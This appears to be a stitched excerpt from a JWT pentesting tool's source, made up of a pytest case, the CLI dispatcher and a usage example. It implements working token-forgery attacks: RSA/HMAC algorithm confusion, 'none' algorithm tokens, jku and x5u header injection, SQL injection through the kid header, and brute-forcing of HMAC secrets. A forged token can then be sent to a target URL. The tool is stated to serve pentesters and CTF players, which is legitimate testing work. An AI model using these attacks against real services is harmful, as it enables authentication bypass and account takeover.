def test_confusion_rsa_hmac():
"""
Test confusion_rsa_hmac method in vulnerabilities.py
"""
with pytest.raises(InvalidJWT):
confusion_rsa_hmac("", public_path)
new_jwt = confusion_rsa_hmac(jwt, public_path)
jwt_json = jwt_to_json(jwt)
new_jwt_json = jwt_to_json(new_jwt)
assert jwt_json[PAYLOAD] == new_jwt_json[PAYLOAD]
assert new_jwt_json[HEADER]["alg"] == "HS256"
assert new_jwt_json[SIGNATURE] == signature
def user_confusion_rsa_hmac(jwt_json: Dict, hmac: str) -> None:
"""
Print for rsa/hmac confusion.
Parameters
----------
jwt_json: Dict
your jwt json (use encode_to_json.Check Doc).
hmac: str
path of your public key.
"""
jwt = confusion_rsa_hmac(
encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE],
hmac,
)
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
def myjwt_cli(jwt, **kwargs):
"""
\b
This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Full documentation is at http://myjwt.readthedocs.io.
If you see problems or enhancement send an issue.I will respond as soon as possible.
Enjoy :)
All new jwt will be copy to the clipboard.
\f
Parameters
----------
jwt: str
your jwt
kwargs: Dict
all option value
"""
if not is_valid_jwt(jwt):
sys.exit(NOT_VALID_JWT)
# detect if some options are here
# if no option detected print user_interface
interface_mode = True
for option in kwargs.values():
if not (option is None or option == () or not option
or option == "GET"):
interface_mode = False
if interface_mode:
user_interface(jwt)
sys.exit()
if kwargs["bruteforce"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
key = bruteforce_wordlist(jwt, kwargs["bruteforce"])
if key == "":
sys.exit(NOT_CRAKED)
else:
copy_to_clipboard(key)
click.echo(CRACKED + key)
if (not kwargs["add_header"] and not kwargs["add_payload"]
and not kwargs["full_payload"]):
sys.exit()
if kwargs["add_payload"]:
payload_dict = dict()
for payload in kwargs["add_payload"]:
new_str = payload.split("=")
if len(new_str) != 2:
sys.exit(VALID_PAYLOAD)
payload_dict[new_str[0]] = new_str[1]
jwt_json = add_payload(jwt_to_json(jwt), payload_dict)
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
if kwargs["add_header"]:
header_dict = dict()
for header in kwargs["add_header"]:
new_str = header.split("=")
if len(new_str) != 2:
sys.exit(VALID_HEADER)
header_dict[new_str[0]] = new_str[1]
jwt_json = add_header(jwt_to_json(jwt), header_dict)
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
if kwargs["full_payload"]:
try:
jwt_json = change_payload(
jwt_to_json(jwt),
json.loads(kwargs["full_payload"]),
)
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
except JSONDecodeError:
sys.exit(VALID_PAYLOAD_JSON)
if kwargs["x5u"]:
jwt = x5u_vulnerability(
jwt,
url=kwargs["x5u"],
pem=kwargs["key"],
crt=kwargs["crt"],
file=kwargs["file"],
)
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["jku"]:
jwt = jku_vulnerability(
jwt,
kwargs["jku"],
kwargs["file"],
kwargs["key"],
)
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
click.echo(
f"Please run python -m http.server --bind {kwargs['jku']} .Before send your jwt",
)
if kwargs["kid"]:
jwt = inject_sql_kid(jwt, kwargs["kid"])
if not kwargs["sign"]:
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["hmac"]:
jwt = confusion_rsa_hmac(jwt, kwargs["hmac"])
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["none_vulnerability"]:
jwt_json = change_alg(jwt_to_json(jwt), "none")
jwt = encode_jwt(jwt_json) + "."
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["sign"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
jwt = signature(jwt_json, kwargs["sign"])
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
if kwargs["verify"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
new_jwt = signature(jwt_json, kwargs["verify"])
click.echo(
VALID_SIGNATURE if new_jwt.split(".")[2] == jwt.split(".")[2] else
INVALID_SIGNATURE, )
if kwargs["crack"]:
jwt_json = jwt_to_json(jwt)
if "HS" not in jwt_json[HEADER]["alg"]:
sys.exit(CHECK_DOCS)
all_string = list(exrex.generate(kwargs["crack"]))
click.echo(
kwargs["crack"] + " have " + str(len(all_string)) +
" possibilities", )
with click.progressbar(
all_string,
label="Keys",
length=len(all_string),
) as bar:
for key in bar:
new_jwt = signature(jwt_json, key)
if new_jwt.split(".")[2] == jwt.split(".")[2]:
copy_to_clipboard(key)
sys.exit("Key found: " + key)
sys.exit(INVALID_SIGNATURE)
if kwargs["url"]:
data_dict = dict()
for d in kwargs["data"]:
new_str = d.split("=")
if len(new_str) != 2:
sys.exit(VALID_DATA)
if new_str[1] == "MY_JWT":
data_dict[new_str[0]] = jwt
else:
data_dict[new_str[0]] = new_str[1]
cookies_dict = dict()
for cookie in kwargs["cookies"]:
new_str = cookie.split("=")
if len(new_str) != 2:
sys.exit(VALID_COOKIES)
if new_str[1] == "MY_JWT":
cookies_dict[new_str[0]] = jwt
else:
cookies_dict[new_str[0]] = new_str[1]
try:
response = send_jwt_to_url(
kwargs["url"],
kwargs["method"],
data_dict,
cookies_dict,
jwt,
)
click.echo(response.text)
except requests.exceptions.ConnectionError:
sys.exit("Connection Error. Verify your url.")
if kwargs["print"]:
copy_to_clipboard(jwt)
print_decoded(jwt)
if (not kwargs["none_vulnerability"] and not kwargs["hmac"]
and not kwargs["bruteforce"] and not kwargs["sign"]
and not kwargs["verify"] and not kwargs["jku"]
and not kwargs["x5u"] and not kwargs["print"]):
copy_to_clipboard(jwt)
click.echo(NEW_JWT + jwt)
sys.exit()
from myjwt.vulnerabilities import confusion_rsa_hmac
jwt = (
"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsb2dpbiI6ImEifQ.Fjziy6GSQpP9tQRyko5APZjdymkQ8EJGOa"
"-A2JQ6xcAVucXRhZbdBbAM2DG8io_brP_ROAqYaNlvRVsztXoPHFz_e7D2K0q6f02RXeRwZJGOhy0K"
"-Oj9Z1UmFJWqVpAAafN75w7OKoSRh6BtQfH8XDleqwpVoywCuWFdYrSbqBoVskRQkp8H-HUC5XmN5om4-NdiQkiKa7OFQ6Hoklclz9_WD5rc"
"-HWJp3rJW4EIHzOPfs1GuDuhtIRu0uuRYp4vvzLZcVm0BhlK9e_fmFcbsTz3MwVHIeFEIx2NjQdhE"
"-CefQ4tNg6Rr6OtgGExToUfD0i0mAoAhTcvmoyO6c2paQ")
# Header: {"typ": "JWT", "alg": "RS256"}
# Payload: {"login": "******"}
file = "public.pem"
# file is a path file of your public key
jwt = confusion_rsa_hmac(jwt, file)
# same jwt will be print except header alg(set to HS256) and signature
print(jwt)